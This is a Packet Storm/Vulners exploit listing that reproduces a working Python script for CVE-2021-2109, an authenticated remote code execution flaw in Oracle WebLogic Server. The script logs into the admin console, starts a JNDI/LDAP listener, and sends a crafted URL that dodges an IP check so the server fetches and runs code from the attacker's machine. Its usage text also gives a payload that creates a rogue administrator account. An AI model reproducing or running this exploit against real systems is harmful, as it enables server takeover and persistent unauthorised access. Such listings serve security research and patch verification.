Lucene search
K

Oracle WebLogic Server 14.1.1.0 Remote Code Execution

🗓️ 22 Jan 2021 00:00:00Reported by PhotubiasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 434 Views

Oracle WebLogic Server 14.1.1.0 RCE (Authenticated

Related
Code
`# Exploit Title: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)  
# Date: 2021-01-21  
# Exploit Author: Photubias   
# Vendor Advisory: [1] https://www.oracle.com/security-alerts/cpujan2021.html  
# Vendor Homepage: https://www.oracle.com  
# Version: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)  
# Tested on: WebLogic 14.1.1.0 with JDK-8u181 on Windows 10 20H2  
# CVE: CVE-2021-2109  
  
#!/usr/bin/env python3  
'''   
Copyright 2021 Photubias(c)  
  
This program is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
  
This program is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
GNU General Public License for more details.  
  
You should have received a copy of the GNU General Public License  
along with this program. If not, see <http://www.gnu.org/licenses/>.  
  
File name CVE-2021-2109.py  
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be  
  
This is a native implementation without requirements, written in Python 3.  
Works equally well on Windows as Linux (as MacOS, probably ;-)  
  
Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  
from https://github.com/welk1n/JNDI-Injection-Exploit  
to be in the same folder  
'''  
import urllib.request, urllib.parse, http.cookiejar, ssl  
import sys, os, optparse, subprocess, threading, time  
  
## Static vars; change at will, but recommend leaving as is  
sURL = 'http://192.168.0.100:7001'  
iTimeout = 5  
oRun = None  
  
## Ignore unsigned certs, if any because WebLogic is default HTTP  
ssl._create_default_https_context = ssl._create_unverified_context  
  
class runJar(threading.Thread):  
def __init__(self, sJarFile, sCMD, sAddress):  
self.stdout = []  
self.stderr = ''  
self.cmd = sCMD  
self.addr = sAddress  
self.jarfile = sJarFile  
self.proc = None  
threading.Thread.__init__(self)  
  
def run(self):  
self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)  
for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)  
for line in iter(self.proc.stderr.readline, ''): self.stderr += line  
  
  
def findJNDI():  
sCurDir = os.getcwd()  
sFile = ''  
for file in os.listdir(sCurDir):  
if 'JNDI' in file and '.jar' in file:  
sFile = file  
print('[+] Found and using ' + sFile)  
return sFile  
  
def findJAVA(bVerbose):  
try:  
oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)  
except:  
exit('[-] Error: java not found, needed to run the JAR file\n Please make sure to have "java" in your path.')  
sResult = list(oProc.stdout)[0].decode()  
if bVerbose: print('[+] Found Java: ' + sResult)  
  
def checkParams(options, args):  
if args: sHost = args[0]  
else:  
sHost = input('[?] Please enter the URL ['+sURL+'] : ')  
if sHost == '': sHost = sURL  
if sHost[-1:] == '/': sHost = sHost[:-1]  
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost  
if options.username: sUser = options.username  
else:  
sUser = input('[?] Username [weblogic] : ')  
if sUser == '': sUser = 'weblogic'  
if options.password: sPass = options.password  
else:  
sPass = input('[?] Password [Passw0rd-] : ')  
if sPass == '': sPass = 'Passw0rd-'  
if options.command: sCMD = options.command  
else:  
sCMD = input('[?] Command to run [calc] : ')  
if sCMD == '': sCMD = 'calc'  
if options.listenaddr: sLHOST = options.listenaddr  
else:  
sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')  
if sLHOST == '': sLHOST = '192.168.0.10'  
if options.verbose: bVerbose = True  
else: bVerbose = False  
return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)  
  
def startListener(sJarFile, sCMD, sAddress, bVerbose):  
global oRun  
oRun = runJar(sJarFile, sCMD, sAddress)  
oRun.start()  
print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')  
oRun.join(3)  
if not oRun.stderr == '':  
exit('[-] Error starting Java listener:\n' + oRun.stderr)  
bThisLine=False  
if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')  
for line in oRun.stdout:  
if bThisLine: return line.split('/')[3].replace('\n','')  
if 'JDK 1.8' in line: bThisLine = True  
  
def endIt():  
global oRun  
print('[+] Closing threads')  
if oRun: oRun.proc.terminate()  
exit(0)  
  
def main():  
usage = (  
'usage: %prog [options] URL \n'  
' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'  
' in the current working folder\n'  
'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'  
'Only works when hacker is reachable via an IPv4 address\n'  
'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'  
'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'  
'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'  
)  
  
parser = optparse.OptionParser(usage=usage)  
parser.add_option('--username', '-u', dest='username')  
parser.add_option('--password', '-p', dest='password')  
parser.add_option('--command', '-c', dest='command')  
parser.add_option('--listen', '-l', dest='listenaddr')  
parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)  
  
## Get or ask for the vars  
(options, args) = parser.parse_args()  
(sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)  
  
## Verify Java and JAR file  
sJarFile = findJNDI()  
findJAVA(bVerbose)  
  
## Keep track of cookies between requests  
cj = http.cookiejar.CookieJar()  
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))  
  
print('[+] Verifying reachability')  
## Get the cookie  
oRequest = urllib.request.Request(url = sHost + '/console/')  
oResponse = oOpener.open(oRequest, timeout = iTimeout)  
for c in cj:  
if c.name == 'ADMINCONSOLESESSION':  
if bVerbose: print('[+] Got cookie "' + c.value + '"')  
  
## Logging in  
lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}  
lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}  
oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)  
oResponse = oOpener.open(oRequest, timeout = iTimeout)  
sResult = oResponse.read().decode(errors='ignore').split('\r\n')  
bSuccess = True  
for line in sResult:  
if 'Authentication Denied' in line: bSuccess = False  
if bSuccess: print('[+] Succesfully logged in!\n')  
else: exit('[-] Authentication Denied')  
  
## Launch the LDAP listener and retrieve the random endpoint value  
sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)  
if bVerbose: print('[+] Got Java value: ' + sRandom)  
  
## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"  
print('\n[+] Firing exploit now, hold on')  
## http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)  
sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]  
sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'  
if bVerbose: print('[!] Using URL ' + sFullUrl)  
oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)  
oResponse = oOpener.open(oRequest, timeout = iTimeout)  
time.sleep(5)  
bExploitWorked = False  
for line in oRun.stdout:  
if 'Log a request' in line: bExploitWorked = True  
if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')  
if not bExploitWorked: print('[-] Exploit failed, victim likely patched')  
else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')  
if bVerbose: print(oRun.stderr)  
endIt()  
  
if __name__ == "__main__":  
try: main()  
except KeyboardInterrupt: endIt()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation